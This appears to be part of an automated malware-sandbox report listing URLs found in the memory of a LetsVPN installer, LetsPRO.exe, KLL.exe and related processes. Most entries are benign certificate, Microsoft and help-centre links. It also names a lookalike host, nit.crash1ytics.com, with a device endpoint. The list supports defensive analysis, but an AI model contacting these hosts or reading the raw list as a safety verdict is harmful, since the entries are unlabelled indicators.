            Source: LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CCD000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FD6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://foo/bar/themes/buttondictionary.bamld
            Source: LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://foo/bar/themes/radiobuttondictionary.baml
            Source: LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CFC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://foo/bar/themes/radiobuttondictionary.bamld
            Source: LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FD6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://foo/bar/themes/scrollviewdictionary.baml
            Source: LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CCD000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FD6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://foo/bar/themes/scrollviewdictionary.bamld
            Source: LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://foo/bar/themes/tabcontrollerdictionary.baml
            Source: LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CFC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://foo/bar/themes/tabcontrollerdictionary.bamld
            Source: LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://foo/bar/themes/textboxdictionary.baml
            Source: LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CFC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://foo/bar/themes/textboxdictionary.bamld
            Source: LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FD6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://foo/bar/themes/windowdictionary.baml
            Source: LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CCD000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FD6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://foo/bar/themes/windowdictionary.bamld
            Source: LetsPRO.exe, 00000045.00000002.2247309532.0000000005DC2000.00000002.00000001.01000000.0000001D.sdmpString found in binary or memory: http://james.newtonking.com/projects/json
            Source: LetsPRO.exe, 00000045.00000002.2245958031.0000000005B22000.00000002.00000001.01000000.0000001B.sdmpString found in binary or memory: http://logging.apache.org/log4net/release/faq.html#trouble-EventLog
            Source: letsvpn-latest.exe, 00000014.00000003.2009732626.00000000007D5000.00000004.00000020.00020000.00000000.sdmp, letsvpn-latest.exe, 00000014.00000002.2057545084.000000000040A000.00000004.00000001.01000000.0000000D.sdmp, letsvpn-latest.exe, 00000014.00000000.1766331999.000000000040A000.00000008.00000001.01000000.0000000D.sdmpString found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
            Source: powershell.exe, 0000001A.00000002.1935612989.00000000060DE000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.4164656265.000000000466C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
            Source: KLL.exe, 00000000.00000003.1722912500.0000017537D97000.00000004.00000020.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.4150722261.0000000001957000.00000004.00000020.00020000.00000000.sdmp, System.Runtime.dll.20.dr, System.Security.Principal.dll.20.dr, System.Security.Principal.Windows.dll.20.dr, System.Net.Security.dll.20.dr, LetsPRO.resources.dll.20.dr, System.Net.NetworkInformation.dll.20.dr, e_sqlite3.dll0.20.dr, System.Security.Claims.dll.20.dr, System.Xml.XmlSerializer.dll.20.dr, WpfAnimatedGif.dll.20.dr, System.Runtime.Serialization.Json.dll.20.dr, System.Xml.XPath.XDocument.dll.20.dr, System.Text.Encoding.CodePages.dll.20.dr, System.Net.IPNetwork.dll.20.dr, System.Collections.Specialized.dll.20.dr, System.Text.Encoding.dll.20.dr, System.IO.Pipes.dll.20.dr, System.Threading.Timer.dll.20.dr, Microsoft.AppCenter.Crashes.dll.20.drString found in binary or memory: http://ocsp.comodoca.com0
            Source: KLL.exe, 00000000.00000003.1722889037.0000017539C71000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.1722912500.0000017537D97000.00000004.00000020.00020000.00000000.sdmp, System.Runtime.dll.20.dr, System.Security.Principal.dll.20.dr, System.Security.Principal.Windows.dll.20.dr, System.Net.Security.dll.20.dr, LetsPRO.resources.dll.20.dr, System.Net.NetworkInformation.dll.20.dr, e_sqlite3.dll0.20.dr, System.Security.Claims.dll.20.dr, System.Xml.XmlSerializer.dll.20.dr, WpfAnimatedGif.dll.20.dr, System.Runtime.Serialization.Json.dll.20.dr, System.Xml.XPath.XDocument.dll.20.dr, System.Text.Encoding.CodePages.dll.20.dr, System.Net.IPNetwork.dll.20.dr, System.Collections.Specialized.dll.20.dr, System.Text.Encoding.dll.20.dr, System.IO.Pipes.dll.20.dr, System.Threading.Timer.dll.20.dr, Microsoft.AppCenter.Crashes.dll.20.drString found in binary or memory: http://ocsp.digicert.com0A
            Source: KLL.exe, 00000000.00000003.1722889037.0000017539C71000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.1722912500.0000017537D97000.00000004.00000020.00020000.00000000.sdmp, System.Runtime.dll.20.dr, System.Security.Principal.dll.20.dr, System.Security.Principal.Windows.dll.20.dr, System.Net.Security.dll.20.dr, LetsPRO.resources.dll.20.dr, System.Net.NetworkInformation.dll.20.dr, e_sqlite3.dll0.20.dr, System.Security.Claims.dll.20.dr, System.Xml.XmlSerializer.dll.20.dr, WpfAnimatedGif.dll.20.dr, System.Runtime.Serialization.Json.dll.20.dr, System.Xml.XPath.XDocument.dll.20.dr, System.Text.Encoding.CodePages.dll.20.dr, System.Net.IPNetwork.dll.20.dr, System.Collections.Specialized.dll.20.dr, System.Text.Encoding.dll.20.dr, System.IO.Pipes.dll.20.dr, System.Threading.Timer.dll.20.dr, Microsoft.AppCenter.Crashes.dll.20.drString found in binary or memory: http://ocsp.digicert.com0C
            Source: KLL.exe, 00000000.00000003.1722889037.0000017539C71000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.1722912500.0000017537D97000.00000004.00000020.00020000.00000000.sdmp, System.Runtime.dll.20.dr, System.Security.Principal.dll.20.dr, System.Security.Principal.Windows.dll.20.dr, System.Net.Security.dll.20.dr, LetsPRO.resources.dll.20.dr, System.Net.NetworkInformation.dll.20.dr, e_sqlite3.dll0.20.dr, System.Security.Claims.dll.20.dr, System.Xml.XmlSerializer.dll.20.dr, WpfAnimatedGif.dll.20.dr, System.Runtime.Serialization.Json.dll.20.dr, System.Xml.XPath.XDocument.dll.20.dr, System.Text.Encoding.CodePages.dll.20.dr, System.Net.IPNetwork.dll.20.dr, System.Collections.Specialized.dll.20.dr, System.Text.Encoding.dll.20.dr, System.IO.Pipes.dll.20.dr, System.Threading.Timer.dll.20.dr, Microsoft.AppCenter.Crashes.dll.20.drString found in binary or memory: http://ocsp.digicert.com0X
            Source: Microsoft.AppCenter.Crashes.dll.20.drString found in binary or memory: http://ocsp.sectigo.com0
            Source: LetsPRO.exe, 00000037.00000002.4151243454.0000000003435000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
            Source: KLL.exe, 00000000.00000002.1777827750.00007FF6750FA000.00000008.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000000.1672730792.00007FF6750FA000.00000008.00000001.01000000.00000003.sdmpString found in binary or memory: http://repository.certum.pl/cscasha2.cer0
            Source: KLL.exe, 00000000.00000002.1777827750.00007FF6750FA000.00000008.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000000.1672730792.00007FF6750FA000.00000008.00000001.01000000.00000003.sdmpString found in binary or memory: http://repository.certum.pl/ctnca.cer0
            Source: KLL.exe, 00000000.00000002.1777827750.00007FF6750FA000.00000008.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000000.1672730792.00007FF6750FA000.00000008.00000001.01000000.00000003.sdmpString found in binary or memory: http://repository.certum.pl/ctnca.cer09
            Source: uc_ctrl.exe, 00000011.00000003.1750658147.0000000000AEF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
            Source: uc_ctrl.exe, 00000011.00000003.1750658147.0000000000AEF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://s2.symcb.com0
            Source: LetsPRO.exe, 00000037.00000002.4151243454.0000000003131000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmpString found in binary or memory: http://schemas.fontawesome.io/icons/
            Source: powershell.exe, 0000001A.00000002.1928154741.00000000051C6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.4151243454.0000000003435000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
            Source: powershell.exe, 00000017.00000002.1779609620.0000000004F0C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.1928154741.0000000005071000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.4151243454.0000000003131000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CFC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
            Source: powershell.exe, 0000001A.00000002.1928154741.00000000051C6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.4151243454.0000000003435000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/wsdl/
            Source: KLL.exe, 00000000.00000002.1777827750.00007FF6750FA000.00000008.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000000.1672730792.00007FF6750FA000.00000008.00000001.01000000.00000003.sdmpString found in binary or memory: http://subca.ocsp-certum.com01
            Source: uc_ctrl.exe, 00000011.00000003.1750658147.0000000000AEF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://sv.symcb.com/sv.crl0a
            Source: uc_ctrl.exe, 00000011.00000003.1750658147.0000000000AEF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://sv.symcb.com/sv.crt0
            Source: uc_ctrl.exe, 00000011.00000003.1750658147.0000000000AEF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://sv.symcd.com0&
            Source: LetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmp, WpfAnimatedGif.dll.20.drString found in binary or memory: http://wpfanimatedgif.codeplex.com
            Source: LetsPRO.exe, 00000037.00000002.4151243454.0000000003435000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
            Source: KLL.exe, 00000000.00000002.1777827750.00007FF6750FA000.00000008.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000000.1672730792.00007FF6750FA000.00000008.00000001.01000000.00000003.sdmpString found in binary or memory: http://www.certum.pl/CPS0
            Source: LetsPRO.exe, 00000037.00000002.4217491237.0000000037D82000.00000002.00000001.01000000.00000032.sdmp, LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CCD000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FD6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.hardcodet.net/taskbar
            Source: uc_ctrl.exe, 00000011.00000003.1750658147.0000000000AEF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.isimba.cn0
            Source: LetsPRO.exe, 00000037.00000002.4201189762.00000000319A2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/
            Source: tapinstall.exe, 00000022.00000003.1989254572.00000000011D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.microsoft.o
            Source: uc_ctrl.exe, 00000011.00000003.1750658147.0000000000AEF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.symauth.com/cps0(
            Source: uc_ctrl.exe, 00000011.00000003.1750658147.0000000000AEF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.symauth.com/rpa00
            Source: LetsPRO.exe, 00000037.00000002.4185284004.000000000F90E000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://0.0.0.0%2F0
            Source: LetsPRO.exe, 00000037.00000002.4185284004.000000000F90E000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://0.0.0.0%2F0l
            Source: LetsPRO.exe, 00000037.00000002.4185284004.000000000F90E000.00000004.00001000.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.4181904760.000000000F822000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://USUS2.CERTIFICATE
            Source: LetsPRO.exe, 00000037.00000002.4183483754.000000000F89C000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://WSARecv0.0.0.0%2F0info
            Source: powershell.exe, 00000017.00000002.1779609620.0000000004F38000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.1779609620.0000000004F47000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.1928154741.0000000005071000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore6lB
            Source: LetsPRO.exe, 00000037.00000002.4178608089.0000000006352000.00000002.00000001.01000000.0000001E.sdmpString found in binary or memory: https://aka.ms/toolkit/dotnet
            Source: LetsPRO.exe, 00000037.00000002.4164656265.000000000466C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
            Source: LetsPRO.exe, 00000037.00000002.4164656265.000000000466C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
            Source: LetsPRO.exe, 00000037.00000002.4164656265.000000000466C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
            Source: uc_ctrl.exe, 00000011.00000003.1750658147.0000000000AEF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://d.symcb.com/cps0%
            Source: uc_ctrl.exe, 00000011.00000003.1750658147.0000000000AEF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://d.symcb.com/rpa0
            Source: LetsPRO.exe, 00000037.00000002.4181904760.000000000F822000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://d1dmgcawtbm6l9.cloudfront.net/rest-api
            Source: LetsPRO.exe, 00000037.00000002.4181904760.000000000F822000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://d1dmgcawtbm6l9.cloudfront.net/rest-apiedns_client_subnet=0.0.0.0%2F0&name=d1dmgcawtbm6l9.clo
            Source: LetsPRO.exe, 00000037.00000002.4287210806.0000000068179000.00000002.00000001.01000000.00000024.sdmpString found in binary or memory: https://d1dmgcawtbm6l9.cloudfront.net/rest-apiinvalid
            Source: LetsPRO.resources.dll.20.drString found in binary or memory: https://d3jb1hiazbhf2r.cloudfront.net/letsvpn-world/en/articles/3083562-%D1%81%D0%BF%D0%B5%D1%86%D0%
            Source: LetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmpString found in binary or memory: https://d3jb1hiazbhf2r.cloudfront.net/letsvpn-world/en/articles/3401886-special-settings-for-smartby
            Source: LetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmpString found in binary or memory: https://d3jb1hiazbhf2r.cloudfront.net/letsvpn-world/en/articles/8262720-special-settings-for-host-ne
            Source: LetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmpString found in binary or memory: https://d3jb1hiazbhf2r.cloudfront.net/letsvpn-world/en/articles/8262786-special-settings-for-express
            Source: LetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmpString found in binary or memory: https://d3jb1hiazbhf2r.cloudfront.net/letsvpn-world/en/articles/8262801-special-settings-for-killer-
            Source: LetsPRO.resources.dll.20.drString found in binary or memory: https://d3jb1hiazbhf2r.cloudfront.net/letsvpn-world/en/articles/8262818-%D1%81%D0%BF%D0%B5%D1%86%D0%
            Source: LetsPRO.resources.dll.20.drString found in binary or memory: https://d3jb1hiazbhf2r.cloudfront.net/letsvpn-world/en/articles/8262867-%D1%81%D0%BF%D0%B5%D1%86%D0%
            Source: LetsPRO.resources.dll.20.drString found in binary or memory: https://d3jb1hiazbhf2r.cloudfront.net/letsvpn-world/en/articles/8262897-%D1%81%D0%BF%D0%B5%D1%86%D0%
            Source: LetsPRO.resources.dll.20.drString found in binary or memory: https://d3jb1hiazbhf2r.cloudfront.net/letsvpn-world/en/articles/8262909-%D1%81%D0%BF%D0%B5%D1%86%D0%
            Source: LetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmpString found in binary or memory: https://d3jb1hiazbhf2r.cloudfront.net/letsvpn-world/en/articles/8263068-how-to-delete-hosts-in-windo
            Source: LetsPRO.resources.dll.20.drString found in binary or memory: https://d3jb1hiazbhf2r.cloudfront.net/letsvpn-world/en/articles/8263093-%D0%BA%D0%B0%D0%BA-%D1%83%D0
            Source: svchost.exe, 0000000C.00000003.1707399335.000001E0C8752000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
            Source: svchost.exe, 0000000C.00000003.1707399335.000001E0C86E6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
            Source: svchost.exe, 0000000C.00000003.1707399335.000001E0C8752000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://g.live.com/odclientsettings/ProdV2
            Source: svchost.exe, 0000000C.00000003.1707399335.000001E0C8733000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.1707399335.000001E0C8752000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.1707399335.000001E0C8778000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.1707399335.000001E0C8797000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.1707399335.000001E0C8784000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
            Source: svchost.exe, 0000000C.00000003.1707399335.000001E0C8752000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
            Source: LetsPRO.exe, 00000037.00000002.4178608089.0000000006352000.00000002.00000001.01000000.0000001E.sdmpString found in binary or memory: https://github.com/CommunityToolkit/dotnet
            Source: LetsPRO.exe, 00000045.00000002.2247309532.0000000005DC2000.00000002.00000001.01000000.0000001D.sdmpString found in binary or memory: https://github.com/JamesNK/Newtonsoft.Json
            Source: LetsPRO.exe, 00000037.00000002.4151243454.0000000003435000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
            Source: LetsPRO.exe, 00000037.00000002.4179837406.0000000006572000.00000002.00000001.01000000.00000022.sdmpString found in binary or memory: https://github.com/dotnet/corefx/tree/32b491939fbd125f304031c35038b1e14b4e3958
            Source: LetsPRO.exe, 00000037.00000002.4179837406.0000000006572000.00000002.00000001.01000000.00000022.sdmpString found in binary or memory: https://github.com/dotnet/corefx/tree/32b491939fbd125f304031c35038b1e14b4e39588
            Source: LetsPRO.exe, 00000037.00000002.4179408143.0000000006542000.00000002.00000001.01000000.00000021.sdmpString found in binary or memory: https://github.com/dotnet/corefx/tree/7601f4f6225089ffb291dc7d58293c7bbf5c5d4f
            Source: LetsPRO.exe, 00000037.00000002.4179460479.0000000006546000.00000002.00000001.01000000.00000021.sdmpString found in binary or memory: https://github.com/dotnet/corefx/tree/7601f4f6225089ffb291dc7d58293c7bbf5c5d4f8
            Source: System.Text.Encoding.CodePages.dll.20.drString found in binary or memory: https://github.com/dotnet/runtime
            Source: LetsPRO.exe, 00000037.00000002.4151243454.00000000031DA000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.4190082692.0000000030062000.00000002.00000001.01000000.00000027.sdmpString found in binary or memory: https://in.appcenter.ms
            Source: LetsPRO.exe, 00000037.00000002.4190082692.0000000030062000.00000002.00000001.01000000.00000027.sdmpString found in binary or memory: https://in.appcenter.ms./logs?api-version=1.0.0
            Source: LetsPRO.exe, 00000037.00000002.4151243454.00000000031DA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://in.appcenter.ms/logs?api-version=1.0.0
            Source: letsvpn-latest.exe, 00000014.00000003.2057098097.000000000075A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://intercom.help/letsvpn-world/-N
            Source: LetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmpString found in binary or memory: https://intercom.help/letsvpn-world/en/articles/2780068-%E5%A6%82%E4%BD%95%E4%B8%8B%E8%BD%BD%E5%BE%9
            Source: LetsPRO.resources.dll.20.drString found in binary or memory: https://intercom.help/letsvpn-world/en/articles/2830282-%D0%BE%D0%B1%D1%80%D0%B0%D1%82%D0%B8%D1%82%D
            Source: LetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmpString found in binary or memory: https://intercom.help/letsvpn-world/en/articles/2830420-special-settings-for-killer-networking-produ
            Source: LetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmpString found in binary or memory: https://intercom.help/letsvpn-world/en/articles/2907649-%E9%80%9A%E8%BF%87%E7%94%B3%E8%BF%B0%E6%89%B
            Source: LetsPRO.resources.dll.20.drString found in binary or memory: https://intercom.help/letsvpn-world/en/articles/2919829-%D0%BA%D0%B0%D0%BA-%D0%BF%D0%BE%D0%BB%D1%83%
            Source: LetsPRO.resources.dll.20.drString found in binary or memory: https://intercom.help/letsvpn-world/en/articles/2922442-%D1%87%D1%82%D0%BE-%D0%B4%D0%B5%D0%BB%D0%B0%
            Source: LetsPRO.resources.dll.20.drString found in binary or memory: https://intercom.help/letsvpn-world/en/articles/2923401-%D0%BA%D0%B0%D0%BA-%D0%BF%D0%BE%D0%B6%D0%B0%
            Source: LetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmpString found in binary or memory: https://intercom.help/letsvpn-world/en/articles/2925752-how-to-download-letsvpn
            Source: LetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmpString found in binary or memory: https://intercom.help/letsvpn-world/en/articles/2926044-what-if-i-reached-maximum-connection-limit
            Source: LetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmpString found in binary or memory: https://intercom.help/letsvpn-world/en/articles/2926062-recover-my-letsvpn-account
            Source: LetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmpString found in binary or memory: https://intercom.help/letsvpn-world/en/articles/3081101-adjust-the-settings-for-ipv6
            Source: LetsPRO.resources.dll.20.drString found in binary or memory: https://intercom.help/letsvpn-world/en/articles/3083439-%d1%87%d1%82%d0%be-%d0%b4%d0%b5%d0%bb%d0%b0%
            Source: LetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmpString found in binary or memory: https://intercom.help/letsvpn-world/en/articles/3710603-about-logging-in-out-anomalies
            Source: LetsPRO.resources.dll.20.drString found in binary or memory: https://intercom.help/letsvpn-world/en/articles/3710827-%D0%B7%D0%B0%D1%8F%D0%B2%D0%BB%D0%B5%D0%BD%D
            Source: LetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmpString found in binary or memory: https://intercom.help/letsvpn-world/en/collections/1611781-%E4%B8%AD%E6%96%87%E5%B8%AE%E5%8A%A9
            Source: LetsPRO.resources.dll.20.drString found in binary or memory: https://intercom.help/letsvpn-world/en/collections/1627706-%D0%BF%D0%BE%D0%BC%D0%BE%D1%89%D1%8C-%D1%
            Source: LetsPRO.exe, 00000037.00000002.4151243454.0000000003131000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmpString found in binary or memory: https://intercom.help/letsvpn-world/en/collections/1628560-help-documents
            Source: LetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmpString found in binary or memory: https://intercom.help/letsvpn-world/en/collections/Killer
            Source: LetsPRO.exe, 00000037.00000002.4148107824.000000000143F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ion=v4.52
            Source: LetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmp, LetsPRO.resources.dll.20.drString found in binary or memory: https://letsvpn.world/privacy.html
            Source: LetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmp, LetsPRO.resources.dll.20.drString found in binary or memory: https://letsvpn.world/registerterm.html
            Source: LetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmp, LetsPRO.resources.dll.20.drString found in binary or memory: https://letsvpn.world/terms.html
            Source: LetsPRO.exe, 00000037.00000002.4187215009.000000000FA20000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://nit.crash1ytics.com
            Source: LetsPRO.exe, 00000037.00000002.4188520715.000000000FBCC000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://nit.crash1ytics.com/app32/device
            Source: LetsPRO.exe, 00000037.00000002.4185284004.000000000F90E000.00000004.00001000.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.4187098263.000000000FA12000.00000004.00001000.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.4188520715.000000000FBCC000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://nit.crash1ytics.com/app32/devicehttps://nit.crash1ytics.com/app32/device
            Source: LetsPRO.exe, 00000037.00000002.4187215009.000000000FA20000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://nit.crash1ytics.com;
            Source: LetsPRO.exe, 00000037.00000002.4187215009.000000000FA20000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://nit.crash1ytics.comd3e64ec53533d58bb15927be887d466ehttps://nit.crash1ytics.comSC-Set-NetIPIn
            Source: powershell.exe, 0000001A.00000002.1935612989.00000000060DE000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.4164656265.000000000466C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
            Source: svchost.exe, 0000000C.00000003.1707399335.000001E0C8752000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
